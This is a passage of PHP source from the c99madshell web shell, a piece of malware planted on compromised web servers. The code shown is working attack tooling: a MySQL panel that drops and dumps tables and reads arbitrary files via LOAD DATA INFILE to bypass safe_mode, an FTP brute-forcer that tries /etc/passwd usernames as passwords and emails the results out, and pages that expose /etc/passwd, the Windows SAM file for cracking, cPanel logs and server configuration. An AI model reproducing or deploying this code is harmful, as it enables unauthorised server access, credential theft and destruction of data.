value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; $i++; } echo "</table><br>"; echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "<hr size=\"1\" noshade>"; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.thistbl.value='1';document.sql.sql_order.value='".htmlspecialchars($sql_order)."';document.sql.sql_tbl_ls.value='".($i*$perpage)."';document.sql.sql_tbl_le.value='".($i*$perpage+$perpage)."';document.sql.submit();\"><u>";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} else {echo "&nbsp;";} } if ($i == 0) {echo "empty";} echo "<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; echo "<tr>"; echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; for ($i=0;$i<mysql_num_fields($result);$i++) { $v = mysql_field_name($result,$i); if ($e[0] == "a") {$s = "d"; $m = "asc";} else {$s = "a"; $m = "desc";} echo "<td>"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {$sql_order="";$sql_order=$e[0]." ".$v;echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_order.value='".$sql_order."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><b>".$v."</b></a>";} else {echo "<b>".$v."</b> <a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_order.value='".$s."%20".$v."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><font color=red>\/</font></a>";} echo "</td>"; } echo "<td><font color=\"green\"><b>Action</b></font></td>"; echo "</tr>"; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo "<tr>"; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "<font color=\"green\">NULL</font>";} echo "<td>".$v."</td>"; $i++; } echo "<td>"; echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_act.value='query';document.sql.sql_query.value='".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><b>DEL</b></a>&nbsp;"; echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl_act.value='insert';document.sql.sql_tbl_insert_q.value='".urlencode($w)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><b>EDIT</b></a>&nbsp;"; echo "</td>"; echo "</tr>"; } mysql_free_result($result); echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">"; echo "<option value=\"\">With selected:</option>"; echo "<option value=\"deleterow\">Delete</option>"; echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "<br><form method=\"POST\"><input name='act' type='hidden' value='sql'><input name='sql_login' type='hidden' value='".$sql_login."'><input name='sql_server' type='hidden' value='".$sql_server."'><input name='sql_port' type='hidden' value='".$sql_port."'><input name='sql_db' type='hidden' value='".$sql_db."'><input name='sql_passwd' type='hidden' value='".$sql_passwd."'><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo "<tr>"; echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; echo "<td>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($row["Name"])."';document.sql.submit();\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; echo "<td>".$row["Rows"]."</td>"; echo "<td>".$row["Type"]."</td>"; echo "<td>".$row["Create_time"]."</td>"; echo "<td>".$row["Update_time"]."</td>"; echo "<td>".$size."</td>"; echo "<td>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_query.value='".urlencode("DELETE FROM `".$row["Name"]."`")."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.submit();\"><b>EMPT</b></a>&nbsp;&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_query.value='".urlencode("DROP TABLE `".$row["Name"]."`")."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.submit();\"><b>DROP</b></a>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_tbl.value='".$row["Name"]."';document.sql.sql_tbl_act.value='insert';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.submit();\"><b>INS</b></a>&nbsp;</td>"; echo "</tr>"; $i++; } echo "<tr bgcolor=\"000000\">"; echo "<td><center><b>></b></center></td>"; echo "<td><center><b>".$i." table(s)</b></center></td>"; echo "<td><b>".$trows."</b></td>"; echo "<td>".$row[1]."</td>"; echo "<td>".$row[10]."</td>"; echo "<td>".$row[11]."</td>"; echo "<td><b>".view_size($tsize)."</b></td>"; echo "<td></td>"; echo "</tr>"; echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">"; echo "<option value=\"\">With selected:</option>"; echo "<option value=\"tbldrop\">Drop</option>"; echo "<option value=\"tblempty\">Empty</option>"; echo "<option value=\"tbldump\">Dump</option>"; echo "<option value=\"tblcheck\">Check table</option>"; echo "<option value=\"tbloptimize\">Optimize table</option>"; echo "<option value=\"tblrepair\">Repair table</option>"; echo "<option value=\"tblanalyze\">Analyze table</option>"; echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {echo"<table border=0 width=\"100%\" height=1><tr><td width=\"30%\" height=1><b>Create new DB:</b><form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"newdb\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"text\" name=\"sql_newdb\" size=20>&nbsp;<input type=\"submit\" value=\"Create\"></form></td><td width=\"30%\" height=1><b>View File:</b><form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"getfile\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"text\" name=\"sql_getfile\" size=30 value=\"".htmlspecialchars($sql_getfile)."\">&nbsp;<input type=\"submit\" value=\"Get\"></form></td><td width=\"30%\" height=1></td></tr><tr><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td></tr></table>";} if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; if ($sql_act == "newdb") { echo "<b>"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "<center><b>Server-status variables:</b><br><br>"; echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} echo "</table></center>"; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "<center><b>Server variables:</b><br><br>"; echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} echo "</table>"; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "<center><b>Processes:</b><br><br>"; echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='processes';document.sql.kill.value='".$row[0]."';document.sql.submit();\"><u>Kill</u></a></td></tr>";} echo "</table>"; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} else { for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} $f = ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);} if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); } } } } echo "</td></tr></table>"; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; } echo "</table>"; } if ($act == "mkdir") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} echo "<br><br>"; } $act = $dspact = "ls"; } if ($act == "ftpquickbrute") { echo "<b>Ftp Quick brute:</b><br>"; if (!win) {echo "This functions not work in Windows!<br><br>";} else { function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} else {$TRUE = TRUE;} if ($TRUE) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; ob_flush(); return TRUE; } } } if (!empty($submit)) { if (isset($_POST['fqb_lenght'])) $fqb_lenght = $_POST['fqb_lenght']; if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if (isset($_POST['fqb_logging'])) $fqb_logging = $_POST['fqb_logging']; if ($fqb_logging) { if (isset($_POST['fqb_logfile'])) $fqb_logging = $_POST['fqb_logfile']; if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = FALSE;} $fqb_log = "FTP Quick Brute (called c99madshell v. ".$shver.") started at ".date("d.m.Y H:i:s")."

"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "<form method=\"POST\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; } } } if ($act == "d") { if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} else { echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; if (!$win) { echo "<tr><td><b>Owner/Group</b></td><td> "; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; } } if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} if ($act == "security") { echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "<b>*nix /etc/passwd:</b><br>"; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "<form method=\"POST\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($uid["dir"])."';document.todo.submit();\">".$uid["dir"]."</a>"; echo join(":",$uid)."<br>"; } $i++; } } else {echo "<br><a href=\"#\" onclick=\"document.todo.act.value='security';document.todo.d.value='".$ud."';document.todo.nixpasswd.value='1';document.todo.submit();\"><b><u>Get /etc/passwd</u></b></a><br>";} } else { $v = $_SERVER["WINDIR"]."
epair\sam"; if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='sam';document.todo.d.value='".$_SERVER["WINDIR"]."\/repair';document.todo.ft.value='download';document.todo.submit();\"><u><b>Download</b></u></a>, and use lcp.crack+ c.</font></b><br>";} } if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='userdomains';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='accounting.log';document.todo.d.value='".urlencode("/var/cpanel/")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>View cpanel logs</b></u></a></font></b><br>";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='httpd.conf';document.todo.d.value='".urlencode("/usr/local/apache/conf")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='httpd.conf';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='syslog.conf';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='motd';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Message Of The Day</b></u></a></font></b><br>";} if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='hosts';document.todo.d.value='".urlencode("/etc")."';document.todo.ft.value='txt';document.todo.submit();\"><u><b>Hosts</b></u></a></font></b><br>";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} displaysecinfo("OS Version?",myshellexec("cat /proc/version")); displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); displaysecinfo("Is cURL installed?",myshellexec("which curl")); displaysecinfo("Is lynx installed?",myshellexec("which lynx")); displaysecinfo("Is links installed?",myshellexec("which links")); displaysecinfo("Is fetch installed?",myshellexec("which fetch")); displaysecinfo("Is GET installed?",myshellexec("which GET")); displaysecinfo("Is perl installed?",myshellexec("which perl")); displaysecinfo("Where is apache",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("locate my.conf",myshellexec("locate my.conf")); displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); } if ($act == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";} } if ($act == "fsbuff") { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); } else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} } else { if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; } } if ($act == "search") { echo "<b>Search in file-system:</b><br>"; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "<b>No files found!</b>";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = "ls"; } } echo "<form method=POST> <input type=hidden 